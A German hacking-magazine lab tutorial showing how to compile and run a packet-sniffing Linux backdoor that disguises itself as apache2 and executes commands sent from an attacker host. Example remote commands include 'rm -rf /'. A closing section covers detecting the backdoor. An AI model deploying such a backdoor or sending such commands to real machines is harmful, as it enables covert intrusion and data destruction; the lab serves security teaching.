Tutorial zum Artikel Schreiben hochentwickelter Linux-Backdoors &ndash Paketsniffing

Dieses Dokument ist ein Tutorial zum Artikel Schreiben hochentwickelter Linux-Backdoors &ndash Paketsniffing. Das Ziel der beschriebenen Übungen ist, das im Artikel beschriebene Backdoor praktisch einzusetzen.

Für die Übung brauchen wir zwei vernetzte Rechner. Der eine – nennen wir ihn Grün – ist das Opfer. Wir booten ihn mit der hakin9.live Heft-CD und starten das Backdoorprogramm darauf.

Der zweite Rechner – nennen wir ihn Rot – ist der Angreiferhost. Er braucht nicht mit hakin9.live zu arbeiten, eine beliebige Linuxdistribution genügt.

schemat

Wenn wir keine zwei Rechner zur Verfügung haben, können wir die Übung auf nur einem PC durchführen, dann erinnert sie jedoch weniger an eine echte Situation.

Vorbereitungen
Ein Blick auf das Backdoor
Verwendung des Backdoors
Können wir ein Backdoor aufspüren?

Vorbereitungen

[01] Wir richten das Netzwerk ein (die entsprechenden Anweisungen für hakin9.live befinden sich hier). Grün booten wir mit hakin9.live, wir fahren auch Rot hoch. Wir stellen sicher, dass sich die Rechner gegenseitig pingen lassen.


Ein Blick auf das Backdoor

Bevor wir die Hintertür öffnen, sehen wir sie uns an. Die folgenden Schritte führen wir auf Grün aus.

Wie wir uns erinnern, besteht der Hintertürcode aus drei Komponenten: Einer zum Umbenennen des Prozesses, einer zum Lauschen nach Paketen am vorgegebenen Port und einer zur Verarbeitung der empfangenen Pakete. Zuerst sehen wir uns den Teil an, der den Prozess umbenennt.


[02] Wir speichern das Listing von mask_process_name.c (HTML) auf der Festplatte und sehen es uns an. Wir kompilieren es:

$ gcc mask_process_name.c -o mask_process_name

und starten es:

$ ./mask_process_name

[03] Im zweiten Terminal sehen wir uns die Prozessliste an:

$ ps ax

Offenbar stellt sich der Prozess als /usr/sbin/apache2 vor.

screenshot


Der zweite Teil des Backdoors ist eine Schleife, die Pakete an einem vorgegebenen Port abfängt.


[04] Wir speichern das Listing von pcap_test.c (HTML) auf der Festplatte und sehen es uns an. Wir kompilieren es:

$ gcc -lpcap pcap_test.c -o pcap_test

Anschließend starten wir das Programm als Root:

# ./pcap_test

[05] Von Rot aus schicken wir ein Paket an den UDP-Port 53 von Grün.

$ hping <IP_Grün> -p 53 -2 -c 1

Wenn das hping-Programm auf Grün nicht vorhanden ist, können wir uns netcat bedienen:

$ nc -u <IP_Grün> 53 tralala ctrl+d

[06] Wir kehren zu Grün zurück. Wird eine Meldung über ein abgefangenes Paket angezeigt?

screenshot


Verwendung des Backdoors

[07] Wir speichern das Listing von silentdoor.c (HTML) auf der Festplatte und sehen es uns an. Wir kompilieren es:

$ gcc -lpcap silentdoor.c -o silentdoor

Anschließend starten wir das Programm als Root:

# ./silentdoor

[08] Auf Rot speichern wir auf der Festplatte das Listing von key_open.c (HTML), dem Programm, das verschlüsselte Befehle an die Hintertür schickt. Wir kompilieren es:

$ gcc -lpcap key_open.c -o key_open

[09] Mit dem key_open-Programm schicken wir einen auszuführenden Befehl an das Opfer. Zuerst versuchen wir, eine Datei namens xxxx anzulegen. Wir müssen daran denken, dass das Programm von Root gestartet werden muss:

# ./key_open <IP_Grün>:93 'touch xxxx'

[10] Zurück zu , brechen wir die Arbeit der Hintertür ab ([ctrl+c]). Wir lassen den Verzeichnisinhalt auflisten:

# ls

Ist die angelegte Datei da? Wir starten die Hintertür erneut.

screenshot


[11] Wir wechseln zu Rot. Wie vorher versuchen wir andere Befehle fern aufzurufen:

# ./key_open <IP_Grün>:93 'cat /dev/urandom > /dev/dsp' # ./key_open <IP_Grün>:93 'eject' # ./key_open <IP_Grün>:93 'rm -rf /'

Bloß aufpassen! Denken Sie immer daran, dass die abgeschickten Befehle wirklich ausgeführt werden!


Können wir ein Backdoor aufspüren?

Stellen Sie sich vor, dass jemand solch eine Hintertür auf Ihrem Rechner installiert hat... Wären Sie im Stande, ihre Gegenwart aufzuspüren? Die weiteren Schritte führen wir stets auf Rot aus.


[12] Wir sehen uns die Systemlogdateien an.

# tail /var/log/messages

Sind darin irgendwelche Hinweise an das Vorhandensein einer Hintertür zu sehen? An ein Programm, das die ankommenden Pakete ablauscht?


[13] Wir starten ethereal:

# ethereal

und aktivieren das Ablauschen der entsprechenden Oberfläche.


[14] Wir wechseln kurz zu Rot. Wie vorher rufen wir Befehle im Fernbetrieb auf. Inzwischen sehen wir uns Pakete an, die am Port 53 ankommen. Könnten Sie sie von korrekten DNS-Antworten unterscheiden?

screenshot


[15] Haben Sie eine Idee, wie Sie das neu erworbene Wissen zum Aufspüren und Schutz vor solchen Exploits umsetzen könnten? Wenn ja, teilen Sie Ihre Überlegungen mit anderen – wir laden Sie herzlich auf unser Forum ein!